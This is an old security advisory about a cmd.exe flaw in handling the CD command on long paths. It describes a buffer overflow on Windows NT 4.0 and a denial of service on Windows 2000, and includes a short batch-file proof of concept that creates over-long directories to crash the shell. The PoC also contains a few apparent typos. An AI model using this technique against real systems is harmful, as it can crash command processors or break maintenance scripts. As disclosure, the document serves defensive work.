Title: Buffer overflow/DoS against cmd.exe
for Windows NT 4.0/2000
Affected: Microsoft Windows NT 4.0 (buffer overflow)
Microsoft Windows 2000 (DoS)
Vendor: Microsoft
Risk: Average for Windows NT 4.0
Low for Windows 2000
Exploitable: Yes
Remote: No
Vendor Notified: January, 30 2003
I. Intro
cmd.exe is Windows NT OS family command processor. It's also used to
process .bat and .cmd batch files. Many system administrator run batch
files with elevated privileges for system maintenance.
II. Vulnerability
cmd.exe has a flow in processing cd command on long path name. On
Windows NT 4.0 it may cause buffer overflow, on Windows 2000 - failure
of batch file processing.
III. Details
NTFS file system allows to create paths of almost unlimited length. But
Windows API does not allow path longer than 256 bytes. To prevent
Windows API from checking requested path \\?\ prefix may be used
for filename. This is documented feature of Windows API.
cmd.exe from Windows NT 4.0 has trivial buffer overflow in CD command if
destination path is longer than 256 characters. This vulnerability may
be trivially exploited to execute code.
cmd.exe from Windows 2000 has no buffer overflow, but than changing to
directory with a path slightly longer than 256 characters (for example
260 characters) cmd.exe becomes "jailed" in this directory, it means cd
.. command will fail. It may cause DoS against maintenance batch script.
IV. Exploitation
@echo off
SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%c:
cd cd AAAAAAAAAAAA*
cd AAAAAAAAAAAA*
cd BBBBBBBBBBBB*
cd ..
creates directory with 2 subdirectory. First one demonstrates buffer
overflow on Windows NT 4.0 (second cd AAAAAAAAA* command will crash
cmd.exe with EIP overwritten) second one demonstrates cmd.exe to change
directory to AA...\BB..., but cd .. command will fail.
V. Vendor
Microsoft acknowledged problem.
--
http://www.security.nnov.ru
/\_/ { , . } |+--oQQo->{ ^ }<-----+ | ZARAZA U 3APA3A }
+-------------o66o--+ /
|/
You know my name - look up my number (The Beatles)
